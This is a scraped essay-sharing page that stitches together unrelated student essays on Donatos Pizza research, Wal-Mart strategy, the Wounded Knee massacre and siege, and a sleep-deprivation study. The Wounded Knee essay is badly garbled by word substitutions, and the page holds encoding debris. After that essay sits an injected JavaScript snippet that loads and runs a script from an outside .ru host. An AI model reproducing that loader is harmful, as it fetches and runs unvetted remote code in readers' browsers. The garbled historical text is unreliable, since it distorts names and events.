Donatos Pizza Case Study - 622 Words

1 Map the research design used by Donato’s for new product development. A: Idea development Developing the product prototype : Donato’s used employee taste testing to know what customers preferences are and develops the new product Taste testing(by employee) : Is done with the organisation Displaying Photographs of food products: Displaying sample pictures of the recent developed food Uniqueness: Developing a unique product which reaches the customers attention. Brand fit and price are the next key points and at last survey or feedback from the customers are important for new product development. Above design is used by the donatos for the new product development. 2 Evaluate the Wassup meetings as an exploratory†¦show more content†¦The survey is based on the name of no dough into a choice of respondents. They did the testing at two restaurants in different locations. This Process is carried by the donatos for about 61/2 months, after which donatos apply to the 184 stores will increase sales. Advantages from this research are: 1. The Primary data which is obtained by the research results are more secured because it is done directly on the object case study research. 2. As the donatos conduct the survey’s they will have strong force for use marketing strategies and operations. Disadvantage from this research are: 1. Develop a product and implement it into market takes much long time, starting from product prototype to test in two restaurant outlets. Total test ,research that took place from july 2003 to 2004 January. 2. The cost is more expensive. 3. There is hidden information from respondents, especially for information relating to the nature, motivation or consumer behavior. 4 What measurement scales would you have used on the survey that was part of the in-restaurant product tests? A: Based on the survey research methods: 1 The Data collected from the survey, I might be used for problem solving. 2 Emphases on the determination of variable information 3 Measure symptoms from the survey with the existing symptoms Questions about the attitudes of interest to researchers because eachShow MoreRelatedDonatos Pizza Case Study1272 Words   |  6 PagesDonatos Pizza Case Study 1 ) Describe in detail the method for formulating the research question discussed in Chapter 5. Evaluate fully the wassup meetings as an exploratory methodology to help define the research question. On our course website I posted a video clip of a Donatos commercial. Indicate the unique selling proposition communicated in the commercial and briefly mention your opinion regarding the effectiveness of the commercial. 100 word minimum Donato s Pizza uses the exploratoryRead MoreEssay about Donatos Pizza Case Study681 Words   |  3 Pagesdesign is used by the donatos for the new product development. 2 Evaluate the Wassup meetings as an exploratory methodology to help define the research question. A: Wassup donatos meeting conducted by the monthly routine, where each employee brings knowledge of popular culture and explain its effect on donatos. It is this which makes donatos will have a lot of information about diet and feeling that exist within a culture within the employees information can be used by donatos, to become an opportunityRead MoreMap the Research Design Used by Donatos for New Product Development1718 Words   |  7 PagesBusiness Research Methods Case Analysis INTRODUCTION For this project youre going to read the Donatos: Finding the New Pizza (Attached) case and answer the discussion questions. Discussion questions: 1. Map the research design used by Donato’s for new product development. 2. Evaluate the Wassup meetings as an exploratory methodology to help define the research question. 3. Evaluate the test marked Donatos used. What were its advantages and disadvantages? 4. What measurementRead MoreMap the Research Design Used by Donatos for New Product Development1730 Words   |  7 PagesBusiness Research Methods Case Analysis INTRODUCTION For this project youre going to read the Donatos: Finding the New Pizza (Attached) case and answer the discussion questions. Discussion questions: 1. Map the research design used by Donato’s for new product development. 2. Evaluate the Wassup meetings as an exploratory methodology to help define the research question. 3. Evaluate the test marked Donatos used. What were its advantages and disadvantages? 4. What measurement scales wouldRead MoreCase 1-1: Mcdonald’s Expands Globally While Adjusting Its Local Recipe757 Words   |  4 PagesBA 654 Lesson #1, Assignment #2: Chapter 1 Case Study Review Case 1-1 on pages 35-38 of your text and address the following questions in a brief essay of  250-300 words: CASE 1-1: McDonald’s Expands Globally While Adjusting Its Local Recipe Today, McDonald’s golden arches are one of the most recognized symbols in the world, just behind the Olympic rings. While growth within the U.S. has slowed, the picture outside the U.S. has appeared brighter, until recently. However, globally, taste profilesRead MoreRetailing Characteristics of Fast Food Stores and Their Impact on Customer Sales and Satisfaction29639 Words   |  119 Pagessatisfaction† By:- Rajul Bhardwaj Lecturer, Faculty of Management Studies, Gurukul Kangri University, Haridwar(Uttarakhand), India Table Of Contents:- ï  ¶ Chap-1 Introduction 1.1 Global Retailing Industry..†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 1.2 The Far East Experience..†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 1.3 The Changing Food Retailing sector in Asia.. 1.4 Recognition of a Problem†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 1.5 Objectives of the study†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ ï  ¶ Chap-2 Literature Review 2.1 Passage to India†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Read MoreCase: Pizza Chains of the United States and Pizza Hut10172 Words   |  41 PagesImages Domino’s Pizza: A Case Study in Organizational Evolution Case 7 John Bradley, Eric Friedman, Eric Jeanes, Edward Novotny, Kelly Schuler Arizona State University Tina Borja Rice University Introduction Historically, Domino’s Pizza has been a strong player in both the domestic US and international out-ofhome pizza marketplaces. With more than 9,300 locations in 65 countries, Domino’s is the number two pizza restaurant behind Pizza Hut and number one in the pizza delivery segmentRead MoreProject on Mcdonalds Marketing Mix3972 Words   |  16 PagesProject on McDonalds Marketing Mix ACKNOWLEDGMENT I would like to express my heartfelt gratitude to all the contributors who helped me in completion of my work. They have enriched my study by sharing their valuable knowledge and views and by helping me on various occasions. I get an opportunity to express my views and thoughts to the best of my abilities. I am thankful to Mrs. Pooja for guiding me and the facultyRead MoreCase Study : Mcdonald s Corporation3467 Words   |  14 Pagescontinue with sustainable, responsible, and profitable growth. McDonald’s understands that† our customers are the reason we exist† and that this customer relationship is paramount to making to whole thing work. Chapter III: External Environment The case study provided in the text did not allude to most of the issues today regarding McDonalds external environment. When we speak of this environment, we are identifying the external forces this company faces while attempting to conduct its operations. ApplyingRead MoreKfc and Global Fast Food Industry11778 Words   |  48 Pagesits business units as a means of developing future executives. PepsiCo first entered the restaurant business in 1977 when it acquired Pizza Hut. Taco Bell was acquired one year later. To complete its diversification into the restaurant industry, PepsiCo acquired KFC in 1986. The acquisition of KFC gave PepsiCo the leading market share in the chicken (KFC), pizza (Pizza Hut), and Mexican-food (Taco Bell) segments of the fast-food industry. Management Following its acquisition of KFC, PepsiCo initiated

Wal Marts Competitive Advantage - 1744 Words

Wal-Mart Stores Inc. is American multinational retail corporation that operates a chain of discount department stores and a warehouse stores. The company is headquartered in Bentonville, Arkansas and was founded by Sam Walton. Wal-Mart is the world’s largest company by revenue, according to Fortune Global 500 list in 2014 and the biggest private employer in the world with over two millions employees. Wal-Mart analytical strategy is to focus on selling products at low prices to get higher volume sales at a lower profit margin. Sam Walt was successful analytically because he was able to find lower-cost suppliers and also shared his data than those used by other stores. Walmart is an organization that uses analytics extensively and systematically to outthink and execute the competition. Walmart has gained competitive advantage by following four pillars of analytical competition. These are; Walmart support strategic distinctive capability. Distinctive capability set Walmart apart from competitors and made them successful in the market place. For example Wal-Mart distinctive capability is supply chain, professional sports is choosing the right players, Netflix is predicting customer movie preferences etc. Without distinctive capability you cannot be analytics competitor because there is no clear process or activity for analytics support. Secondly, Walmart has adopted enterprise level approach to management, this ensures that the data and analysis are made available broadlyShow MoreRelatedWal-Marts Sustainable Competitive Advantage Essay1093 Words   |  5 PagesIntroduction Competitive advantage can be defined as a means by which a firm manages to keep making money, add value by providing distinct products and sustain its position against its competitors. Wal-Mart Stores Inc. is one of such companies in the retail sector that has achieved sustainable competitive advantage over a period of time.  ¬This report focuses on how Wal-Mart has achieved competitive advantage by adopting cost leadership strategy and providing consumer goods at lower prices. The reportRead MoreAnalysis of Wal-Mart’s Competitive Advantages in International Expansion and Problems7313 Words   |  30 PagesAnalysis of Wal-Mart’s Competitive Advantages in International Expansion and Problems 1. Introduction 1. General information of Wal-Mart The first opening of Wal-Mart Stores was founded by American retail legend Sam Walton in Rogers, Arkansas in 1962. On Oct. 31st, 1969, the stores were incorporated as world famous Wal-Mart Stores, Inc. Almost forty-four years later, Wal-Mart served more than 176 million customers per week, and became No. 1 retailer in the United States. And, it is now theRead MoreWal-Mart’s Strategy for Long-term Competitive Advantage Essay1723 Words   |  7 PagesWal-Mart’s Strategy for Long-term Competitive Advantage Today, firms are experiencing great success because of the impact that logistic managers all over the world have in the global market. There are components in business that makes logistic management a success at Walmart; its success can be attributed to its business strategy and supply chain management strategy. Walmart at a Glance The history of Walmart can be traced back to a man named Sam Walton who opened his first Walmart store in RogersRead MoreWal-Marts Competetive Advantage824 Words   |  4 PagesWal-Mart’s competitive advantage is driven by its low-cost, high volume strategy which aims to increase profits and customer satisfaction. Sustainable competitive advantage indicates a company’s future success and is determined by different factors. These factors include organizational capabilities such as tangible resources, intangible resources and human resources. One main component of sustained competitive advantage is having superior returns sustained over a long period of time. Wal-MartRead MoreWal-Mart Case Study1723 Words   |  7 Pageswhat extent is Wal-Mart’s performance attributable to industry attractiveness and to what extent to competitive advantage? Wal-Mart is a company which operates in the service sector, more specifically in the â€Å"Discount, Variety Stores/Retail† industry. The company’s superior performance is demonstrated through the fact that it was America’s largest company (in terms of revenue) in 2002, and the reputation of the company is reflected in the opinion of â€Å"Fortune† who have identified Wal-Mart as one ofRead MoreSwot Analysis : Resource Based View Essay1540 Words   |  7 Pagessustained competitive advantage encompasses a firm’s wide range of resources such as organizational, social, and individual phenomena that are valuable, rare, imperfectly imitable and non-substitutable (VRIN). Therefore, it is crucial and vital for the relevant resources to possess all four of the VRIN attributes in order to be the firm’s sustained competitive advantage (Barney, 1991). Additionally, he also added that competitive advantage relies heavily on the chance of a competitorâ €™s competitive duplicationRead MoreMarketing Strategy of Wal-Mart1475 Words   |  6 PagesThis is a case analysis of Wal-Mart, the largest retailer in Mexico and North America. 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Wal-Mart’sRead MoreCase Study of Walmart1394 Words   |  6 PagesCASE STUDY Professor: Dr. Mary Flannery Teaching Assistant: Jia-Yuh Chen ECON 136 – Business Strategy February 27, 2006 INDUSTRY ANALYSIS The retail industry is dominated by few retail giants, with Wal-Mart competing in several retail categories. Wal-Mart competes against Kmart and Target in the general merchandise retailing; against Costco in the warehouse club segment; and against Kroger, Albertson’s and Safeway in the supermarket retailing. Competition among retailers centers on pricingRead MoreCompetitive Advantage Vs. Competitive Strategy1514 Words   |  7 PagesC. Competitive Advantage Related Theory Competitive strategy is the moves and methods that the firm has taken and is taking to appeal buyers, improve its market position, and to endure competitive pressures. The strategy is about what a firm’s capability to try to knock off competitors and attain competitive advantage, which can be offensive or defensive. There are three approaches to competitive strategy, which are low-cost leadership strategy where struggling to be the overall low-cost manufacturer

Battle Of Wounded Knee Essay Research Paper free essay sample

Battle Of Wounded Knee Essay, Research Paper On December 15, 1890 governments feared that the Sioux # 8217 ; s new Ghost Dance? faith might animate an rebellion. Siting Bull permitted Grand River people to fall in the antiwhite Ghost Dance cult and was hence arrested by military personnels. In the affray that followed, he was changeable twice in the caput. Siting Bull # 8217 ; followings were apprehended and brought to the U.S Army Camp at Wounded Knee Creek in southwesterly South Dakota. Traveling among the tepee, soldiers lifted adult females # 8217 ; s frocks and touched their private parts, rending from them indispensable cookery and run uping utensils. The work forces sitting in the council heard the angry scream of their married womans, female parents, and girls. Several Lakota, offended by the opprobrious actions of the horse, pig-headedly waited to hold their arms taken from them. It was a show of award in forepart of their seniors, for few of them were old plenty to hold fought in the # 8220 ; Indian Wars # 8221 ; fifteen old ages before. That dark, everyone was tired out by the difficult trip. James Asay, a Pine Ridge bargainer and whisky smuggler, brought a ten-gallon keg of whisky to the Seventh Cavalry officers. Many of the Indian work forces were kept up all dark by the bibulous Cavalry where the soldiers kept inquiring them how old they were. The soldiers were trusting to detect which of the work forces had been at the Battle of Little Bighorn where Custer was killed. On the bitterly cold forenoon of December 29, 1890, Alice Ghost Horse, a thirteen- twelvemonth old Lakota miss rode her Equus caballus through the U.S Army cantonment looking for her male parent, one of the Indian work forces who had been rounded up earlier that twenty-four hours. Less than 50 paces away she could see her male parent sitting on the land with other disarmed work forces from Chief Big Foot # 8217 ; s set, surrounded by more than 500 to a great extent armed soldiers of the Seventh Cavalry. She looked North up the hill where four # 8220 ; guns on wheels # 8221 ; were mounted. Cavalrymans watched mutely on each side of the Hotchkiss battery. To one side Alice noticed a familiar figure standing with custodies raised above his caput, his weaponries turned upward in supplication. It was the medical specialty adult male by the name of Yellow Bird. He stood confronting the E, right by the fire cavity which was now covered with soil. He was praying and weeping. He was stating to the patched bird of Joves that he wanted to decease alternatively of his people. He must hold sense that something was traveling to go on. He picked up some soil from the fire topographic point and threw it up in the air and said, # 8220 ; This is the manner I want to travel, back to dust. # 8221 ; Seventh Cavalry translator Phillip F. Wells, whose cognition of the Lakota linguistic communication was hapless, subsequently told military research workers that a adult male named Yellow Bird stood up at Wounded Knee and intentionally incited the Lakota to contend. Colonel Forsyth gave a eccentric order: each soldier was told to take his unloaded gun at an Indians brow and to draw the trigger. After Wells translated the take downing order to the astonished Lakota, they could non grok this folly. Looking at each other, their faces grew # 8220 ; wild with fear. # 8221 ; Alice so saw two or three sergeants grab a deaf adult male named Black Coyote who had yet to be disarmed. His friends had been so busy speaking that they had left him uniformed. The soldiers tore off his cover, approximately swirling him about. He raised his rifle above his caput to maintain it off from them. In the thick of shouting, jolt, and distortion, the battle ended out of the blue when the rifle pointed toward the east terminal discharged in the chip forenoon air. Lieutenant James Mann screamed, # 8220 ; Fire! Fire on them! # 8221 ; On bid the military personnels opened fire in an explosive fusillade, enveloping both aggressors and victims in a dark drape of acrid fume. That twenty-four hours over three hundred aged work forces, adult females, and kids, all disarmed were viciously murdered. After the genocidal process occurred, a snowstorm hit, and it was on the forth twenty-four hours that hunt parties were sent out to bury the dead. A newspaper newsman attach toing the burial party described the foremost organic structure they found as that of a male about twelve old ages old. The male child had been shot. He was have oning a # 8220 ; ghost shirt # 8221 ; embolized with an bird of Jove, American bison, and morning-star insignia. They believed that these symbols of powerful liquors would protect them from the soldier # 8217 ; s slugs. Many of the hurt subsisters subsequently died or were in secret carried off in the dark by Lakota from other sets. The dead were buried in concealed locations, and carefully concealed from federal functionaries who subsequently underestimated the decease toll at 146, over two hundred less than the existent figure butchered an their ain land. The frozen organic structures were taken to the top of the hill overlooking the vale where they had died. Gravediggers carved a agape hole signifier the Earth, six pess deep, 10 broad, 60 long. When the orders were given to bury the first burden, three soldiers jumped into the grave and each cadaver / gt ; was given to them one at a clip. They stripped them of all saleable articles from the organic structures as if they were clambering coneies. Without supplication services of any sort, the Lakota dead were layered in a mass grave, foremost one bare row across the underside of the trench, and old ground forces covers were placed over them, so another row of wilted organic structures lengthwise. And so on they continued until the last hill of soil was shoveled on. BIA Takeover In 1968, the Indian militant group known as AIM was born. The existent establishing members remain unknown, but Dennis Banks, Clyde Bellecourt, and George Miller were outstanding in its foundation. The group was ab initio organized to cover with prejudiced patterns of the constabularies in the apprehension of Indians and to contend for the rights of American American indians. In November 1972, members of AIM marched and protested in forepart of the White House in Washington D.C. They had come to kick about the intervention of the agency towards them. The group of over 500 so decided to take over the BIA edifice. During the instrumental week-long business, the Indians comfortably settled in the edifice. Cooking, washup, and cleaning was organized. Guards were appointed and kids were looked after. This was astonishing sing the sum of people in the edifice. Then the inevitable reaching of the constabulary surrounded the edifice. Uniformed in public violence cogwheel, the constabulary began to crush Indians standing around the locality and hale them to imprison. A rainstorm of office stuffs were thrown at the constabularies. Many were discouraged and maintain their distance from the entryway. Inside the edifice, it was non wholly helter-skelter but slightly of an organized confusion. Women and kids ran for safety and the brave appreciation assorted arms and stood their land. Many were prepared to decease in the confrontation. Indian Reorganization Act The Indian Reorganization Act, a major reform of U.S policy toward American Indians, was enacted by Congress on June 18, 1934 as a consequence of a decennary of unfavorable judgment of conditions on the reserves. It forbade the farther allocation of tribal lands to single Indians. It destroyed the old, traditional signifier of Indian self- authorities. Power was chiefly left to half-blood tribal presidents whose confederation was chiefly to the U.S authorities. Dicky Wilson was the worst of this type. He was accused of illicitly change overing tribal financess and holding people beaten and murdered. He besides had Russel Means, a AIM leader, crush up and sent to the infirmary. After that state of affairs, AIM decided to contend back. Siege of Wounded Knee In February 1973, members of AIM gathered around a courthouse to go to the test of Wesly Bad Heart who had been stabbed to decease by a white adult male. Not surprisingly, the liquidator was acquitted. The group refused to accept the determination. The coiled tenseness was about to be released by the opprobrious actions of the constabulary. Cavalrymans used an array of public violence arms to command the multitudes. Indians set edifices on fire and broke into shops. The contending lasted till midafternoon. The group so decided to head to Wounded Knee, an Oglala Sioux crossroads on the Pine Ridge reserve in South Dakota. Everyone began puting up collapsible shelters and doing sand traps around the Sacred Heart Church. Merely a few had rifles and there was merely one automatic weapon an AK-47. Many stood silent as they stood on where many of there people were butchered. Around the locality stood the Gildersleeve Trading Post and Sacred Heart Church. Both had been desecretions of the slaughtered Indians from the Original Battle of Wounded Knee. There was a shop that sold post cards with the images of the dead cadavers. The church that overlooked the vale was taken over by the Indians. They stormed in and began to dance Indian manner. A FBI auto arrived to supervise their actions. We challenged them to repetition the slaughter that occurred about a hundred old ages ago. During the ten-week long coup detat at Wounded Knee, the clip was largely past in ennui. Womans were sent to shops to purchase nutrient while others prepared it. The brave and strong adult females carried arms. A white adult male # 8217 ; s place became a infirmary ran by adult female. More and more Federals arrived to surround the country and some shooting at people. Some were sauntering about in armoured vehicles others walked through the locality with attack Canis familiariss. Reporters and politicians had besides arrived. When nutrient became short, they began runing for mooses and bulls. One twenty-four hours a plane flew through and dropped four hundred lbs of nutrient. Everyone began to teem around it and take out it. It was filled with powdery milk, beans, flour, rice, java, patchs, vitamins, and antibiotics. Two Indians were dead and many were injured. When an Indian was shooting at and severely hurt, they asked the Federals to discontinue fire. They began to beckon a white flag. The two 1000 Indians had stood their land at Wounded Knee. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Lack Of Sleep Ages BodyS Systems Essays - Dream, Sleep, Parasomnias

Lack Of Sleep Ages Body'S Systems Reaction Paper 1 (Sample Reaction Paper) Ron Gerrard, HWS Psychology Department My paper is based on an article from the texts web site (chapter 9) entitled Lack of sleep ages bodys systems. The basic claim of the article is that sleep deprivation has various harmful effects on the body. The reported effects include decreased ability to metabolize glucose (similar to what occurs in diabetes) and increased levels of cortisol (a stress hormone involved in memory and regulation of blood sugar levels). The article also briefly alludes (in the quote at the bottom of page 1) to unspecified changes in brain and immune functioning with sleep deprivation. Intuitively, these results make a lot of sense to me. I know that when Im sleep deprived for any significant amount of time, I begin to feel physically miserable. I also seem to be more vulnerable to colds and other physical ailments. In thinking about it though, most of the times Im sleep deprived are also periods of psychological stress (such as finals week). To the extent that there are changes in my physical well-being, Im wondering whether they are due to the sleep deprivation, the stress itself, or some combination of the two. In principle, a careful experiment should be able to isolate the effects of sleep deprivation by depriving people of sleep in the absence of stress and other such confounding variables. That seems to be what this experiment does, but as I read the article closely, I found myself unsure that the effects it reports are necessarily due to sleep deprivation per se. I realize that a brief summary article like this does not provide all the details of the experimental methodology, but a couple of things that were reported in the article struck me as curious. The researchers studied physical functioning (cortisol levels, etc.) in men who had a normal nights sleep (eight hours in bed) the first three nights of the study, followed by a period of sleep deprivation (four hours in bed) the next six nights of the study, and finally a period of sleep recovery (12 hours in bed) the last seven nights of the study. In reporting the effects on the body (the discussion of glucose metabolism, in the fifth paragraph of the article) the authors compare the sleep deprivation stage only to the sleep recovery stage, not to normal sleep. This seems to me like doing an experiment on drunkenness and comparing the drunk stage to the hangover stage, without ever reporting what happens when the person is sober. Since normal sleep would seem to be the appropriate control c ondition here, the absence of results from that condition makes me wonder if something unusual was found there and not reported in the article. Another potential problem comes from the sequential nature of the different sleep conditions. All participants had normal sleep, then sleep deprivation, then sleep recovery (in that order). Therefore, the three conditions differ not only in the amount of sleep, but also in the level of familiarity with the experimental procedures. Why should that make a difference? Well, consider the results reported for the stress hormone cortisol. In comparing people who are sleep deprived (days 4-9 of the study) with those who are in sleep recovery (days 10-16 of the study), they are comparing people early in the experiment to those later in the experiment. If the experimental procedures are themselves stressful (e.g. drawing a blood sample) then a person who has been through it more often might find it less stressful, and therefore not respond so strongly. This fact, rather than the amount of sleep itself, might explain the pattern of results in the physiological data. Im not sure whether the methodological issues Ive raised really do account for all the studys results, but they should be corrected in future research on sleep deprivation. The easiest way to do this, it seems to me, would be to simply compare two different groups of participants, randomly assigned to either a normal sleep condition or a sleep deprivation condition. Each participant would be in his/her respective condition throughout the experiment, so there would not be any difference in general experimental familiarity that could account for